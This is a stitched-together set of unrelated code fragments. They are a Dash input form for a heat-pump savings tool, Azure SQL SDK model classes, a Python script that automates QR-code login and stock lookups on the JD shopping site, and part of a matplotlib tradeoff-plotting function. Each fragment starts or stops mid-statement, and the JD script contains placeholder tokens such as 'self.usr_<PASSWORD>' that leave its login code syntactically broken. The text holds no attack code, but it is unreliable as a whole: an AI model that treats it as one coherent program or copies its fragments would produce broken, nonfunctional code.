LabeledInput('Building Floor Area, excluding garage (square feet):', 'bldg_floor_area', units='ft2', size=6), LabeledRadioItems('Size of Garage:', 'garage_stall_count', options=make_options(GARAGE_SIZE), value=0), LabeledRadioItems('Will the Heat Pump be used to Heat the Garage?', 'garage_heated_by_hp', options=make_options(YES_NO), value=False, labelStyle={'display': 'inline-block'}), LabeledRadioItems('Wall Construction:', 'wall_type', options=make_options(WALL_TYPE), value = '2x6'), LabeledDropdown('Select existing Space Heating Fuel type:', 'exist_heat_fuel_id', options=[{'label': lbl, 'value': i} for lbl, i in lib.fuels()]), LabeledChecklist('Besides Space Heating, what other Appliances use this Fuel type?', 'end_uses_chks', options=make_options(END_USES), values=[]), html.Div([ LabeledInput('Number of Occupants in Building using the above Appliances:', 'occupant_count', 'people', value=3), ], id='div-occupants', style={'display': 'none'}), LabeledInput('Fuel Price Per Unit:', 'exist_unit_fuel_cost'), LabeledRadioItems('Efficiency of Existing Heating System:','heat_effic', max_width=500), LabeledSlider(app, 'Efficiency of Existing Heating System:', 'heat_effic_slider', 40, 100, '%', mark_gap=10, step=1, value=80), LabeledRadioItems('Auxiliary electricity use (fans/pumps/controls) from existing heating system:', 'aux_elec', options=make_options(AUX_ELEC_TYPE), value='boiler', help_text='Choose the type of heating system
'type': '[StorageCapability]'}, 'status': {'key': 'status', 'type': 'str'}, 'reason': {'key': 'reason', 'type': 'str'}, } def __init__( self, **kwargs ): super(EditionCapability, self).__init__(**kwargs) self.name = None self.supported_service_level_objectives = None self.zone_redundant = None self.read_scale = None self.supported_storage_capabilities = None self.status = None self.reason = kwargs.get('reason', None) class ElasticPool(TrackedResource): """An elastic pool. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar id: Resource ID. :vartype id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str :param location: Required. Resource location. :type location: str :param tags: A set of tags. Resource tags. :type tags: dict[str, str] :param sku: The elastic pool SKU. The list of SKUs may vary by region and support offer. To determine the SKUs (including the SKU name, tier/edition, family, and capacity) that are available to your subscription in an Azure region, use the ``Capabilities_ListByLocation`` REST API or the following command: .. code-block:: azurecli az sql elastic-pool list-editions -l <location> -o table `. :type sku: ~azure.mgmt.sql.models.Sku :ivar kind: Kind of elastic pool. This is metadata used for the Azure portal experience. :vartype kind: str :ivar state: The state of the elastic pool. Possible values include: "Creating", "Ready", "Disabled". :vartype state: str or ~azure.mgmt.sql.models.ElasticPoolState :ivar creation_date: The creation date of the elastic pool (ISO8601 format). :vartype creation_date: ~datetime.datetime :param max_size_bytes: The storage limit for the database elastic pool in bytes. :type max_size_bytes: long :param per_database_settings: The per database settings for the elastic pool. :type per_database_settings: ~azure.mgmt.sql.models.ElasticPoolPerDatabaseSettings :param zone_redundant: Whether or not this elastic pool is zone redundant, which means the replicas of this elastic pool will be spread across multiple availability zones. :type zone_redundant: bool :param license_type: The license type to apply for this elastic pool. Possible values include: "LicenseIncluded", "BasePrice". :type license_type: str or ~azure.mgmt.sql.models.ElasticPoolLicenseType :param maintenance_configuration_id: Maintenance configuration id assigned to the elastic pool. This configuration defines the period when the maintenance updates will will occur. :type maintenance_configuration_id: str """ _validation = { 'id': {'readonly': True}, 'name': {'readonly': True}, 'type': {'readonly': True}, 'location': {'required': True}, 'kind': {'readonly': True}, 'state': {'readonly': True}, 'creation_date': {'readonly': True}, } _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'location': {'key': 'location', 'type': 'str'}, 'tags': {'key': 'tags', 'type': '{str}'}, 'sku': {'key': 'sku', 'type': 'Sku'}, 'kind': {'key': 'kind', 'type': 'str'}, 'state': {'key': 'properties.state', 'type': 'str'}, 'creation_date': {'key': 'properties.creationDate', 'type': 'iso-8601'}, 'max_size_bytes': {'key': 'properties.maxSizeBytes', 'type': 'long'}, 'per_database_settings': {'key': 'properties.perDatabaseSettings', 'type': 'ElasticPoolPerDatabaseSettings'}, 'zone_redundant': {'key': 'properties.zoneRedundant', 'type': 'bool'}, 'license_type': {'key': 'properties.licenseType', 'type': 'str'}, 'maintenance_configuration_id': {'key': 'properties.maintenanceConfigurationId', 'type': 'str'}, } def __init__( self, **kwargs ): super(ElasticPool, self).__init__(**kwargs) self.sku = kwargs.get('sku', None) self.kind = None self.state = None self.creation_date = None self.max_size_bytes = kwargs.get('max_size_bytes', None) self.per_database_settings = kwargs.get('per_database_settings', None) self.zone_redundant = kwargs.get('zone_redundant', None) self.license_type = kwargs.get('license_type', None) self.maintenance_configuration_id = kwargs.get('maintenance_configuration_id', None) class ElasticPoolActivity(ProxyResource): """Represents the activity on an elastic pool. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: Resource ID. :vartype id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str :param location: The geo-location where the resource lives. :type location: str :ivar end_time: The time the operation finished (ISO8601 format). :vartype end_time: ~datetime.datetime :ivar error_code: The error code if available. :vartype error_code: int :ivar error_message: The error message if available. :vartype error_message: str :ivar error_severity: The error severity if available. :vartype error_severity: int :ivar operation: The operation name. :vartype operation: str :ivar operation_id: The unique operation ID. :vartype operation_id: str :ivar percent_complete: The percentage complete if available. :vartype percent_complete: int :ivar requested_database_dtu_max: The requested max DTU per database if available. :vartype requested_database_dtu_max: int :ivar requested_database_dtu_min: The requested min DTU per database if available. :vartype requested_database_dtu_min: int :ivar requested_dtu: The requested DTU for the pool if available. :vartype requested_dtu: int :ivar requested_elastic_pool_name: The requested name for the elastic pool if available. :vartype requested_elastic_pool_name: str :ivar requested_storage_limit_in_gb: The requested storage limit for the pool in GB if available. :vartype requested_storage_limit_in_gb: long :ivar elastic_pool_name: The name of the elastic pool. :vartype elastic_pool_name: str :ivar server_name: The name of the server the elastic pool is in. :vartype server_name: str :ivar start_time: The time the operation started (ISO8601 format). :vartype start_time: ~datetime.datetime :ivar state: The current state of the operation. :vartype state: str :ivar requested_storage_limit_in_mb: The requested storage limit in MB. :vartype requested_storage_limit_in_mb: int :ivar requested_database_dtu_guarantee: The requested per database DTU guarantee. :vartype requested_database_dtu_guarantee: int :ivar requested_database_dtu_cap: The requested per database DTU cap. :vartype requested_database_dtu_cap: int :ivar requested_dtu_guarantee: The requested DTU guarantee. :vartype requested_dtu_guarantee: int """ _validation = { 'id': {'readonly': True}, 'name': {'readonly': True}, 'type': {'readonly': True}, 'end_time': {'readonly': True}, 'error_code': {'readonly': True}, 'error_message': {'readonly': True}, 'error_severity': {'readonly': True}, 'operation': {'readonly': True}, 'operation_id': {'readonly': True}, 'percent_complete': {'readonly': True}, 'requested_database_dtu_max': {'readonly': True}, 'requested_database_dtu_min': {'readonly': True}, 'requested_dtu': {'readonly': True}, 'requested_elastic_pool_name': {'readonly': True}, 'requested_storage_limit_in_gb': {'readonly': True}, 'elastic_pool_name': {'readonly': True}, 'server_name': {'readonly': True}, 'start_time': {'readonly': True}, 'state': {'readonly': True}, 'requested_storage_limit_in_mb': {'readonly': True}, 'requested_database_dtu_guarantee': {'readonly': True}, 'requested_database_dtu_cap': {'readonly': True}, 'requested_dtu_guarantee': {'readonly': True}, } _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'location': {'key': 'location', 'type': 'str'}, 'end_time': {'key': 'properties.endTime', 'type': 'iso-8601'}, 'error_code': {'key': 'properties.errorCode', 'type': 'int'}, 'error_message': {'key': 'properties.errorMessage', 'type': 'str'}, 'error_severity': {'key': 'properties.errorSeverity', 'type': 'int'}, 'operation': {'key': 'properties.operation', 'type': 'str'}, 'operation_id': {'key': 'properties.operationId', 'type': 'str'}, 'percent_complete': {'key': 'properties.percentComplete', 'type': 'int'}, 'requested_database_dtu_max': {'key': 'properties.requestedDatabaseDtuMax', 'type': 'int'}, 'requested_database_dtu_min': {'key': 'properties.requestedDatabaseDtuMin', 'type': 'int'}, 'requested_dtu': {'key': 'properties.requestedDtu', 'type': 'int'}, 'requested_elastic_pool_name': {'key': 'properties.requestedElasticPoolName', 'type': 'str'}, 'requested_storage_limit_in_gb': {'key': 'properties.requestedStorageLimitInGB', 'type': 'long'}, 'elastic_pool_name': {'key': 'properties.elasticPoolName', 'type': 'str'}, 'server_name': {'key': 'properties.serverName', 'type': 'str'}, 'start_time': {'key': 'properties.startTime', 'type': 'iso-8601'}, 'state': {'key': 'properties.state', 'type': 'str'}, 'requested_storage_limit_in_mb': {'key': 'properties.requestedStorageLimitInMB', 'type': 'int'}, 'requested_database_dtu_guarantee': {'key': 'properties.requestedDatabaseDtuGuarantee', 'type': 'int'}, 'requested_database_dtu_cap': {'key': 'properties.requestedDatabaseDtuCap', 'type': 'int'}, 'requested_dtu_guarantee': {'key': 'properties.requestedDtuGuarantee', 'type': 'int'}, } def __init__( self, **kwargs ): super(ElasticPoolActivity, self).__init__(**kwargs) self.location = kwargs.get('location', None) self.end_time = None self.error_code = None self.error_message = None self.error_severity = None self.operation = None self.operation_id = None self.percent_complete = None self.requested_database_dtu_max = None self.requested_database_dtu_min = None self.requested_dtu = None self.requested_elastic_pool_name = None self.requested_storage_limit_in_gb = None self.elastic_pool_name = None self.server_name = None self.start_time = None self.state = None self.requested_storage_limit_in_mb = None self.requested_database_dtu_guarantee = None self.requested_database_dtu_cap = None self.requested_dtu_guarantee = None class ElasticPoolActivityListResult(msrest.serialization.Model): """Represents the response to a list elastic pool activity request. All required parameters must be populated in order to send to Azure. :param value: Required. The list of elastic pool activities. :type value: list[~azure.mgmt.sql.models.ElasticPoolActivity] """ _validation = { 'value': {'required': True}, } _attribute_map = { 'value': {'key': 'value', 'type': '[ElasticPoolActivity]'}, } def __init__( self, **kwargs ): super(ElasticPoolActivityListResult, self).__init__(**kwargs) self.value = kwargs['value'] class ElasticPoolDatabaseActivity(ProxyResource): """Represents the activity on an elastic pool. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: Resource ID. :vartype id: str :ivar name: Resource name. :vartype name: str :ivar type: Resource type. :vartype type: str :param location: The geo-location where the resource lives. :type location: str :ivar database_name: The database name. :vartype database_name: str :ivar end_time: The time the operation finished (ISO8601 format). :vartype end_time: ~datetime.datetime :ivar error_code: The error code if available. :vartype error_code: int :ivar error_message: The error message if available. :vartype error_message: str :ivar error_severity: The error severity if available. :vartype error_severity: int :ivar operation: The operation name. :vartype operation: str :ivar operation_id: The unique operation ID. :vartype operation_id: str :ivar percent_complete: The percentage complete if available. :vartype percent_complete: int :ivar requested_elastic_pool_name: The name for the elastic pool the database is moving into if available. :vartype requested_elastic_pool_name: str :ivar current_elastic_pool_name: The name of the current elastic pool the database is in if available. :vartype current_elastic_pool_name: str :ivar current_service_objective: The name of the current service objective if available. :vartype current_service_objective: str :ivar requested_service_objective: The name of the requested service objective
<filename>reptile/PaC/JD/JD QR.py #encoding:utf-8 """ JD online shopping helper tool ----------------------------------------------------- only support to login by QR code, username / password is not working now. """ import bs4 import requests import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() import os import time import json import random import argparse import sys import importlib importlib.reload(sys) # from imp import reload # import importlib # import lib.reload(sys) # from selenium import webdriver #py3.5不用此设置 #sys.setdefaultencoding('utf-8') # get function name # """ 1. 函数: Python提供许多内建函数,例如: print() 自定义函数: def 函数名(参数列表): 函数体 2. 变量类型: 在 python 中,类型属于对象,变量是没有类型的: a=[1,2,3] a="Runoob" 以上代码中,[1,2,3] 是 List 类型,"Runoob" 是 String 类型,而变量 a 是没有类型. 她仅仅是一个对象的引用(一个指针),可以是 List 类型对象,也可以指向 String 类型对象。 3. 可变(mutable)与不可变(immutable)对象 在 python 中,strings, tuples, 和 numbers 是不可变对象(如a = "ss" fun(a)将 a副本传到函数),而 list,dict 等则是可以修改的对象(变量赋值 la=[1,2,3,4] fun(la),将 la对象/指针传进去)。 4.匿名函数: lambda [arg1 [,arg2,.....argn]]:expression 例如: sum = lambda arg1, arg2: arg1 + arg2; print ("相加后的值为 : ", sum( 10, 20 )) 知识点1: python 使用 lambda 来创建匿名函数(匿名: 不使用 def 标准的形式定义函数) 案例: sum = lambda arg1, arg2: arg1 + arg2; print ("相加后的值为 : ", sum( 10, 20 )) 说明: lambda 只是一个表达式,函数体比 def 简单很多。 lambda 的主体是一个表达式,而不是一个代码块。仅仅能在lambda表达式中封装有限的逻辑进去。 lambda 函数拥有自己的命名空间,且不能访问自有参数列表之外或全局命名空间里的参数。 lambda 函数看起来只能写一行,却不等同于C或C++的内联函数,后者的目的是调用小函数时不占用栈内存从而增加运行效率。 本例: FuncName = lambda n=0: sys._getframe(n + 1).f_code.co_name FuncName 函数用于 try: ..... except (Exception) as e: print ('Exp {0} : {1}'.format(FuncName(), e)) 首先,执行try子句(在关键字try和关键字except之间的语句) 如果没有异常发生,忽略except子句,try子句执行后结束。 如果在执行try子句的过程中发生了异常,那么try子句余下的部分将被忽略。如果异常的类型和 except 之后的名称相符,那么对应的except子句将被执行。最后执行 try 语句之后的代码。 如果一个异常没有与任何的except匹配,那么这个异常将会传递给上层的try中。 解释: 传入:FuncName(x),x不传,使用默认值 n=0. sys._getframe().f_code.co_filename #当前文件名,可以通过__file__获得 sys._getframe(0).f_code.co_name #当前函数名 sys._getframe(1).f_code.co_name #调用该函数的函数的名字,如果没有被调用,则返回<module>,貌似call stack的栈低 sys._getframe().f_lineno #当前行号 """ def get_cur_info(): print ('当前路径文件名:',sys._getframe().f_code.co_filename,"哈哈") print ('当前函数名:',sys._getframe(0).f_code.co_name) print ('调用函数名,没调用 module:',sys._getframe(1).f_code.co_name) print ('当前行号:',sys._getframe().f_lineno) # #打印函数名以及是否调用: FuncName = lambda n=0: sys._getframe(n + 1).f_code.co_name def tags_val(tag, key='', index=0): ''' return html tag list attribute @key @index if @key is empty, return tag content ''' if len(tag) == 0 or len(tag) <= index: return '' elif key: txt = tag[index].get(key) # strip(aa) 方法用于移除字符串头尾指定的字符aa(默认为空格) return txt.strip(' \t\r\n') if txt else '' else: txt = tag[index].text return txt.strip(' \t\r\n') if txt else '' def tag_val(tag, key=''): ''' return html tag attribute @key if @key is empty, return tag content ''' if tag is None: return '' elif key: txt = tag.get(key) return txt.strip(' \t\r\n') if txt else '' else: txt = tag.text return txt.strip(' \t\r\n') if txt else '' class JDWrapper(object): ''' This class used to simulate login JD ''' def __init__(self, usr_name=None, usr_pwd=None): # cookie info self.trackid = '' self.uuid = '' self.eid = '' self.fp = '' self.usr_name = usr_name self.usr_pwd = <PASSWORD> self.interval = 0 # init url related self.home = 'https://passport.jd.com/new/login.aspx' self.login = 'https://passport.jd.com/uc/loginService' self.imag = 'https://authcode.jd.com/verify/image' self.auth = 'https://passport.jd.com/uc/showAuthCode' # requests.Session()会话对象能够实现跨请求保持某些参数。它也会在同一个 Session 实例发出的所有请求之间保持 cookie self.sess = requests.Session() self.sess.trust_env = False self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'ContentType': 'text/html; charset=utf-8', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Connection': 'keep-alive', } self.cookies = { } ''' try: self.browser = webdriver.PhantomJS('phantomjs.exe') except Exception, e: print 'Phantomjs initialize failed :', e exit(1) ''' @staticmethod def print_json(resp_text): ''' format the response content ''' if resp_text[0] == '(': resp_text = resp_text[1:-1] for k, v in json.loads(resp_text).items(): print (u'%s : %s' , (k, v)) @staticmethod def response_status(resp): if resp.status_code != requests.codes.OK: print ('Status: %u, Url: %s' , (resp.status_code, resp.url)) return False return True def _need_auth_code(self, usr_name): # check if need auth code # auth_dat = { 'loginName': usr_name, } payload = { 'r': random.random(), 'version': 2015 } resp = self.sess.post(self.auth, data=auth_dat, params=payload) if self.response_status(resp): js = json.loads(resp.text[1:-1]) return js['verifycode'] print (u'获取是否需要验证码失败') return False """ 获取二维码代码: os.path.join(A, B),路径拼接 os.getcwd() ,返回当前进程的工作目录 time.time() 返回当前时间的时间戳 int(time.time() * 1000) 当前时间的毫秒表示 """ def _get_auth_code(self, uuid): # 图片保存路径: image_file = os.path.join(os.getcwd(), 'authcode.jfif') payload = { 'a': 1, 'acid': uuid, 'uid': uuid, 'yys': str(int(time.time() * 1000)), } # get auth code r = self.sess.get(self.imag, params=payload) if not self.response_status(r): print (u'获取验证码失败') return False with open(image_file, 'wb') as f: for chunk in r.iter_content(chunk_size=1024): f.write(chunk) f.close() os.system('start ' + image_file) return str(input('Auth Code: ')) # random.random() # 用于生成一个随机浮点数 def _login_once(self, login_data): # url parameter payload = { 'r': random.random(), 'uuid': login_data['uuid'], 'version': 2015, } resp = self.sess.post(self.login, data=login_data, params=payload) if self.response_status(resp): js = json.loads(resp.text[1:-1]) # self.print_json(resp.text) if not js.get('success'): print (js.get('emptyAuthcode')) return False else: return True return False def _login_try(self): """ login by username and password, but not working now. .. deprecated:: Use `login_by_QR` """ # get login page # resp = self.sess.get(self.home) print ('+++++++++++++++++++++++++++++++++++++++++++++++++++++++') print (u'{0} > 登陆'.format(time.ctime())) try: # 2016/09/17 PhantomJS can't login anymore self.browser.get(self.home) soup = bs4.BeautifulSoup(self.browser.page_source, "html.parser") # set cookies from PhantomJS for cookie in self.browser.get_cookies(): self.sess.cookies[cookie['name']] = str(cookie['value']) # for (k, v) in self.sess.cookies.items(): # print '%s: %s' % (k, v) # response data hidden input == 9 ??. Changed inputs = soup.select('form#formlogin input[type=hidden]') rand_name = inputs[-1]['name'] rand_data = inputs[-1]['value'] token = '' for idx in range(len(inputs) - 1): id = inputs[idx]['id'] va = inputs[idx]['value'] if id == 'token': token = va elif id == 'uuid': self.uuid = va elif id == 'eid': self.eid = va elif id == 'sessionId': self.fp = va auth_code = '' if self.need_auth_code(self.usr_name): auth_code = self.get_auth_code(self.uuid) else: print (u'无验证码登陆') login_data = { '_t': token, 'authcode': auth_code, 'chkRememberMe': 'on', 'loginType': 'f', 'uuid': self.uuid, 'eid': self.eid, 'fp': self.fp, 'nloginpwd': self.usr_pwd, 'loginname': self.usr_name, 'loginpwd': self.usr_<PASSWORD>, rand_name: rand_data, } login_succeed = self.login_once(login_data) if login_succeed: self.trackid = self.sess.cookies['TrackID'] print (u'登陆成功 %s' , self.usr_name) else: print (u'登陆失败 %s' , self.usr_name) return login_succeed #旧:except Exception, e: except (Exception) as e: print ('Exception:', e.message) raise finally: self.browser.quit() return False def login_by_QR(self): # jd login by QR code try: print ('+++++++++++++++++++++++++++++++++++++++++++++++++++++++') print (u'{0} > 请打开京东手机客户端,准备扫码登陆:'.format(time.ctime())) urls = ( 'https://passport.jd.com/new/login.aspx', 'https://qr.m.jd.com/show', 'https://qr.m.jd.com/check', 'https://passport.jd.com/uc/qrCodeTicketValidation' ) # step 1: open login page resp = self.sess.get( urls[0], headers=self.headers ) if resp.status_code != requests.codes.OK: print (u'获取登录页失败: %u' % resp.status_code) return False ## save cookies for k, v in resp.cookies.items(): self.cookies[k] = v # step 2: get QR image resp = self.sess.get( urls[1], headers=self.headers, cookies=self.cookies, params={ 'appid': 133, 'size': 147, 't': (int)(time.time() * 1000) } ) if resp.status_code != requests.codes.OK: print (u'获取二维码失败: %u' % resp.status_code) return False ## save cookies for k, v in resp.cookies.items(): self.cookies[k] = v ## save QR code image_file = 'qr.png' with open(image_file, 'wb') as f: for chunk in resp.iter_content(chunk_size=1024): f.write(chunk) ## scan QR code with phone os.system('start ' + image_file) # step 3: check scan result ## mush have self.headers['Host'] = 'qr.m.jd.com' self.headers['Referer'] = 'https://passport.jd.com/new/login.aspx' # check if QR code scanned qr_ticket = None retry_times = 100 while retry_times: retry_times -= 1 resp = self.sess.get( urls[2], headers=self.headers, cookies=self.cookies, params={ 'callback': 'jQuery%u' % random.randint(100000, 999999), 'appid': 133, 'token': self.cookies['<KEY>'], '_': (int)(time.time() * 1000) } ) if resp.status_code != requests.codes.OK: continue n1 = resp.text.find('(') n2 = resp.text.find(')') rs = json.loads(resp.text[n1 + 1:n2]) if rs['code'] == 200: print (u'{} : {}'.format(rs['code'], rs['ticket'])) qr_ticket = rs['ticket'] break else: print (u'{} : {}'.format(rs['code'], rs['msg'])) time.sleep(3) if not qr_ticket: print (u'二维码登陆失败') return False # step 4: validate scan result ## must have self.headers['Host'] = 'passport.jd.com' self.headers['Referer'] = 'https://passport.jd.com/uc/login?ltype=logout' resp = self.sess.get( urls[3], headers=self.headers, cookies=self.cookies, params={'t': qr_ticket}, ) if resp.status_code != requests.codes.OK: print (u'二维码登陆校验失败: %u' % resp.status_code) return False ## login succeed self.headers['P3P'] = resp.headers.get('P3P') for k, v in resp.cookies.items(): self.cookies[k] = v print (u'登陆成功') return True except Exception as e: print ('Exp:', e) raise return False def good_stock(self, stock_id, good_count=1, area_id=None): ''' 33 : on sale, 34 : out of stock ''' # http://ss.jd.com/ss/areaStockState/mget?app=cart_pc&ch=1&skuNum=3180350,1&area=1,72,2799,0 # response: {"3180350":{"a":"34","b":"1","c":"-1"}} # stock_url = 'http://ss.jd.com/ss/areaStockState/mget' # http://c0.3.cn/stocks?callback=jQuery2289454&type=getstocks&skuIds=3133811&area=1_72_2799_0&_=1490694504044 # jQuery2289454({"3133811":{"StockState":33,"freshEdi":null,"skuState":1,"PopType":0,"sidDely":"40","channel":1,"StockStateName":"现货","rid":null,"rfg":0,"ArrivalDate":"","IsPurchase":true,"rn":-1}}) # jsonp or json both work stock_url = 'http://c0.3.cn/stocks' payload = { 'type': 'getstocks', 'skuIds': str(stock_id), 'area': area_id or '1_72_2799_0', # area change as needed } try: # get stock state resp = self.sess.get(stock_url, params=payload) if not self.response_status(resp): print (u'获取商品库存失败') return (0, '') # return json resp.encoding = 'gbk' stock_info = json.loads(resp.text) stock_stat = int(stock_info[stock_id]['StockState']) stock_stat_name = stock_info[stock_id]['StockStateName'] # 33 : on sale, 34 : out of stock, 36: presell return stock_stat, stock_stat_name except Exception as e: print ('Exception:', e) time.sleep(5) return (0, '') def good_detail(self, stock_id, area_id=None): # return good detail good_data = { 'id': stock_id, 'name': '', 'link': '', 'price': '', 'stock': '', 'stockName': '', } try: # shop page stock_link = 'http://item.jd.com/{0}.html'.format(stock_id) resp = self.sess.get(stock_link) # good page soup = bs4.BeautifulSoup(resp.text, "html.parser") # good name tags = soup.select('div#name h1') if len(tags) == 0: tags = soup.select('div.sku-name') good_data['name'] = tags_val(tags).strip(' \t\r\n') # cart link tags = soup.select('a#InitCartUrl') link = tags_val(tags, key='href') if link[:2] == '//': link = 'http:' + link good_data['link'] = link except (Exception) as e: print ('Exp {0}
plotting preferences. Keys include: a. 'Axis Range': List of lists (sub-lists), containing axis limits for 2 or 3 primary axes: x, y, z. e.g., [[2,3],[3,5],[4,5]] b. 'x_labal': string to label x-axis. c. 'y_label': string to label y-axis. d. 'z_label': string to label z-axis. e. 'c_label': string to label "colored" axis (if there is a 4th dimension). f. 'Plot Specifications': dictionary, follows format of rcParams module from matplotlib. An example is: 'Plot Specifications': {'axes.labelsize': 18, 'xtick.labelsize': 18, 'ytick.labelsize': 18, 'text.usetex': False, 'figure.figsize': [9, 6], 'figure.figsize': [6.5, 5], 'legend.fontsize': 22} g. '3d_plot': 'Yes' or 'No', indicates whether user wants to plot 3 objectives in 3D space, or in 2D space using color as the third objective. 10. plt_order: Optional, this is a list that specifies in which order the objectives are plotted. Used if you want to be able to determine which of the objectives become a color/point size/orientation in the >3D case. Example: plt_order = [0,3,2,1] to have the third variable in the objective values array plotted in the 3D space, while the third item is plotted last. 11. num_objs_to_plot: integer number of objectives you actually wish to plot. Will be computed as length of objs_to_plot list if nothing is specified. tradeoff_plotting_subplot: indicates whether call is being made from tradeoff_plotting module for a subplot, in which case the figure object should be returned so it can be included in a subplot. Returns: Nothing, but several figures may be saved ''' # Load basic information about the simulated scenarios, including input file directory and simulation names. os_fold = Op_Sys_Folder_Operator() # Figure fontsize for all labels all_label_font = 8 # Unpack ref_set_pref_dict try: ref_set_file_name = ref_set_pref_dict['ref_set_file_name'] num_objs = ref_set_pref_dict['num_objs'] except KeyError: ref_set_file_name = None num_objs = None try: num_dec_vars = ref_set_pref_dict['num_dec_vars'] except KeyError: pass try: unit_conv = ref_set_pref_dict['unit_conv'] except KeyError: unit_conv = None try: perc_conv = ref_set_pref_dict['perc_conv'] except KeyError: perc_conv = None try: invert = ref_set_pref_dict['invert'] except KeyError: invert = None try: ideal_point_loc = plot_dict['ideal_point']['coordinates'] plot_ideal_point = 'Yes' ideal_point_marker = plot_dict['ideal_point']['marker_type'] ideal_point_color = plot_dict['ideal_point']['color'] ideal_point_size = plot_dict['ideal_point']['size'] except KeyError: plot_ideal_point = 'No' try: preference_arrow = plot_dict['preference_arrow'] except KeyError: preference_arrow = 'No' # Unpack any preferences related to colormaps, which can be used in 2D and 3D plots to represent an additional # objective. try: cmap = plot_dict['cmap_name'] except KeyError: try: # No colormap specified. See if user specified a file called 'custom_colormap.txt'. If so, use it to define # the colormap. new_cmap_matrix = np.loadtxt('custom_colormap.txt') cmap = matplotlib.colors.ListedColormap(new_cmap_matrix/255.0) # Must be a 256 color map. except IOError: # Use default (jet) cmap = "jet_r" # 'gray_4, 'jet', 'jet_r', cool_r, 'Reds_r','Blues_r','Greens_r', # If only a matplotlib default colormap name has been selected, then create a colormap from it. if type(cmap) in [str, unicode]: cmap = pyplot.cm.get_cmap(cmap) # Unpack any preferences related to selected policies to highlight in the figure try: pols_to_highlight = plot_dict['pols_to_highlight'] transparency_main_plot = 0.5 # 0.35 # 1 # 0.3 alpha = [1 for x in range(len(pols_to_highlight)+1)] alpha[0] = transparency_main_plot try: pol_names = plot_dict['pol_names'] except KeyError: pol_names = ['Policy %s' %p for p in pols_to_highlight] try: label_policies = plot_dict['label_policies'] except KeyError: label_policies = 'Yes' try: gray_policies_background = plot_dict['gray_policies_background'] except KeyError: gray_policies_background = 'No' # 'Yes' try: pol_name_locs = plot_dict['pol_name_locs'] except KeyError: pol_name_locs = [ [ [(37, 5000), (75, 3750), (89, 2800)], [(33, 5000), (60, 5000), (89, 400)], ], [ [(33, 700), (65, 550), (70, 50)], [(12, 5000), (30, 2000), (15, 900)] ] ] except KeyError: alpha = [1] pols_to_highlight = None label_policies = 'No' gray_policies_background = 'No' # Plot all in color as default if ref_set_file_name is not None: # User wishes to import reference set here. [ref_set_array, objective_values, dec_var_values] = Initial_Processing(num_objs, num_dec_vars, ref_set_file_name, parse_objs=parse_objs, perc_conv=perc_conv, invert=invert, unit_conv=unit_conv) else: # User has provided reference set information. ref_set_array = ref_set_pref_dict['ref_set_array'] objective_values = ref_set_pref_dict['objective_values'] dec_var_values = ref_set_pref_dict['dec_var_values'] # Unpack plotting dictionary try: plt_order = plot_dict['plot_order'] except KeyError: plt_order = None try: ax_lim = plot_dict['Axis Range'] # Determine axis limits try: if plot_dict['compute_upper_ax_lim'] == 'Yes': for obj in range(len(objective_values)): ax_lim[obj][1] = np.max(objective_values[obj]) + 0.1*np.max(objective_values[obj]) except KeyError: pass except KeyError: ax_lim = None try: three_d_plot = plot_dict['3d_plot'] except KeyError: three_d_plot = 'No' try: plot_specs = plot_dict['Plot Specifications'] except KeyError: plot_specs = None try: invert_axis = plot_dict['Invert Axis'] except KeyError: invert_axis = None try: num_objs_to_plot = ref_set_pref_dict['num_objs_to_plot'] except KeyError: num_objs_to_plot = len(objs_to_plot) if num_objs_to_plot == 1: print("Only 1 objective; no plot will be produced. Result is a single value.") elif num_objs_to_plot == 2: fig = pyplot.figure() if plt_order is None: # Order of plotting not specified. plt_order = [0,1] if plot_specs is not None: rcParams.update(plot_specs) pyplot.scatter(objective_values[plt_order[0]],objective_values[plt_order[1]]) try: pyplot.ylabel(plot_dict['y_label']) pyplot.xlabel(plot_dict['x_label']) except KeyError: pyplot.ylabel(objs_to_plot[plt_order[1]]) pyplot.xlabel(objs_to_plot[plt_order[0]]) if ax_lim is not None: pyplot.xlim(ax_lim[plt_order[0]][0], ax_lim[plt_order[0]][1]) pyplot.ylim(ax_lim[plt_order[1]][0], ax_lim[plt_order[1]][1]) if save_fig is not None: save_fig = save_fig + os_fold + objs_to_plot[plt_order[0]] + '-' + objs_to_plot[ plt_order[1]] + ".png" elif num_objs_to_plot >= 3: if three_d_plot == 'Yes': fig = pyplot.figure() # create the figure else: fig, ax_arr = axis_test if num_objs_to_plot == 3: # Create a 3D plot, with no color used to map a fourth objective. if plt_order is None: # Order of plotting not specified. plt_order = [0, 1, 2] if three_d_plot == 'Yes': ax3D = Axes3D(fig) pts = ax3D.scatter(objective_values[plt_order[0]], objective_values[plt_order[1]], objective_values[ plt_order[2]]) else: # Update plot specifications if plot_specs is not None: rcParams.update(plot_specs) if ax_lim[plt_order[2]] != []: norm_array = np.array( [(c - ax_lim[plt_order[2]][0]) / (ax_lim[plt_order[2]][1] - ax_lim[plt_order[2]][0]) for c in objective_values[plt_order[2]]]) else: low = min(objective_values[plt_order[2]]) high = max(objective_values[plt_order[2]]) norm_array = np.array([(c-low)/(high-low) for c in objective_values[plt_order[2]]]) # Plot main tradeoffs if label_policies == 'Yes': if gray_policies_background == 'No': ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]], objective_values[plt_order[1]], color=cmap(norm_array), marker='o', s=10, linewidth=0, alpha=alpha[0]) else: ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]], objective_values[plt_order[1]], color=(0.85,0.85,0.85), marker='o', s=10, linewidth=0, alpha=alpha[0]) else: if gray_policies_background == 'No': #ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]], objective_values[plt_order[1]], # c=objective_values[plt_order[2]], cmap=cmap, marker='o', 